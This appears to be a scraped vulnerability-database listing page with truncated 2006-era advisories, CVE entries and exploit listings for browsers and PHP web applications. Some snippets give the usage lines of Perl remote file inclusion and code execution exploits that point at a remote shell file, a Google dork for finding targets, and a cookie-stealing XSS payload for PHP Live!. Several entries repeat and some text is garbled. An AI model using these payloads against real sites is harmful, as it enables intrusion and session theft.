Netscape/K-Meleon/Flock JavaScript navigator Vulnerability

Description: The newest versions of Netscape, K-Meleon and Flock browsers are affected to JavaScript navigator vulnerability described in http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html and Mozilla Foundation Security Advisory 2006-45. When method used in a web page...

security flaw

kdesktoplock in kdebase before 3.1.3-5.11 for KDE in Red Hat Enterprise Linux RHEL 3 does not properly terminate, which can prevent the screensaver from activating or prevent users from manually locking the desktop...

K-Meleon NSS Library Memory Leak Vulnerability

Description: K-Meleon 0.9.13 is susceptible to affected to DoS-type memory leak vulnerability disclosed in Mozilla Network Security Services library implementation. This library is shipped with the newest K-Meleon browser. Reportedly the Network Security Services NSS library will leak 256 bytes o...

adv32-K-159-2006.txt

\ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV32$2006 --------------------------------------------------------------------------- ECHOADV32$2006 SCart 2.0 Remote Code Execution ---------------------------------------------------------------------------...

SCart 2.0 (page) Remote Code Execution Exploit

Exploit for unknown platform in category web applications ============================================== SCart 2.0 page Remote Code Execution Exploit ============================================== !/usr/bin/perl SCart 2.0 Remote Code Execution Exploit Bugs Found & code By K-159 base on advisory a...

SCart 2.0 (page) Remote Code Execution Exploit

No description provided by source. !/usr/bin/perl SCart 2.0 Remote Code Execution Exploit Bugs Found & code By K-159 base on advisory at http://advisories.echo.or.id/adv/adv32-K-159-2006.txt echo.or.id c 2006 usage: perl scart.pl target /path/ "cmd" Google Dork : site: scartserver.com Greetz: my...

SCart 2.0 - page Remote Code Execution

SCart 2.0 - page Remote Code Execution !/usr/bin/perl SCart 2.0 Remote Code Execution Exploit Bugs Found & code By K-159 base on advisory at http://advisories.echo.or.id/adv/adv32-K-159-2006.txt echo.or.id c 2006 usage: perl scart.pl "cmd" Google Dork : site: scartserver.com Greetz: my soul...

Design/Logic Flaw

Mozilla Firefox 1.5.0.2 and possibly other versions before 1.5.0.4, Netscape 8.1, 8.0.4, and 7.2, and K-Meleon 0.9.13 allows user-assisted remote attackers to open local files via a web page with an IMG element containing a SRC attribute with a non-image file:// URL, then tricking the user into...

CVE-2006-1942

Mozilla Firefox 1.5.0.2 and possibly other versions before 1.5.0.4, Netscape 8.1, 8.0.4, and 7.2, and K-Meleon 0.9.13 allows user-assisted remote attackers to open local files via a web page with an IMG element containing a SRC attribute with a non-image file:// URL, then tricking the user into...

CVE-2006-1942

Mozilla Firefox 1.5.0.2 and possibly other versions before 1.5.0.4, Netscape 8.1, 8.0.4, and 7.2, and K-Meleon 0.9.13 allows user-assisted remote attackers to open local files via a web page with an IMG element containing a SRC attribute with a non-image file:// URL, then tricking the user into...

CVE-2006-1942

CVE-2006-1942 affects Mozilla Firefox 1.5.0.2 (and earlier) with multiple products (including Netscape 8.x and K-Meleon 0.9.13). Root cause: a crafted web page containing an IMG element whose SRC uses a non-image file:// URL can mislead a user into viewing the image, enabling user-assisted local-...

CVE-2006-1942: Undefined Security Weakness

Mozilla Firefox 1.5.0.2 and possibly other versions before 1.5.0.4, Netscape 8.1, 8.0.4, and 7.2, and K-Meleon 0.9.13 allows user-assisted remote attackers to open local files via a web page with an IMG element containing a SRC attribute with a non-image file:// URL, then tricking the user into...

INDEXU 5.0.1 - 'base_path' Remote File Inclusion

!/usr/bin/perl INDEXU perl indexu.pl http://target.com/indexu/ http://target.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; greetz:echo|staffy3dips,theday,moby,comex,z3r0byt3,c-a-s-e,Sto,lirva32,anonymous,kaiten,an0maly,SinChan,sakitjiwa,rizal,etc Contact: eufratoatgmail.com...

INDEXU 5.0.1 - base_path Remote File Inclusion

INDEXU 5.0.1 - basepath Remote File Inclusion !/usr/bin/perl INDEXU perl indexu.pl http://target.com/indexu/ http://target.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd;...

AngelineCMS 0.8.1 - installpath Remote File Inclusion

AngelineCMS 0.8.1 - installpath Remote File Inclusion !/usr/bin/perl AngelineCMS 0.8.1 installpath Remote Code Execution Exploit Bug Found & code By K-159 code reference from uid0/zod at ExploiterCode.com echo.or.id c 2006 usage: perl angelineCMS.pl perl angelineCMS.pl http://target.com/...

AngelineCMS 0.8.1 (installpath) Remote File Inclusion Exploit

No description provided by source. !/usr/bin/perl AngelineCMS 0.8.1 installpath Remote Code Execution Exploit Bug Found & code By K-159 code reference from uid0/zod at ExploiterCode.com echo.or.id c 2006 usage: perl angelineCMS.pl target cmd shell location cmd shell variable perl angelineCMS.pl...

PHP Live! XSS status_image.php

Date: 03/22/2006 Vendor: OSI Codes Product: PHP Live! Versions: tested 3.0 Vulnerability: Cross Site Scripting Location: statusimage.php Exploit: /phplive/js/statusimage.php?baseurl=scriptalertdocument.cookie/script Stumbled across this while auditing a web server, vendor has been notified...

kdegraphics security update

CentOS Errata and Security Advisory CESA-2006:0262 Updated kdegraphics packages that fully resolve a security issue in kpdf are now available. This update has been rated as having important security impact by the Red Hat Security Response Team. The kdegraphics packages contain applications for th...

security flaw

Mozilla Firefox 1.5, Netscape 8.0.4 and 7.2, and K-Meleon before 0.9.12 allows remote attackers to cause a denial of service CPU consumption and delayed application startup via a web site with a large title, which is recorded in history.dat but not processed efficiently during startup. NOTE:...

CVE-2005-4436: Undefined Security Weakness

Extended Interior Gateway Routing Protocol EIGRP 1.2, as implemented in Cisco IOS after 12.32, 12.33B, and 12.32T and other products, allows remote attackers to cause a denial of service by sending a "spoofed neighbor announcement" with 1 mismatched k values or 2 "goodbye message" Type-Length-Val...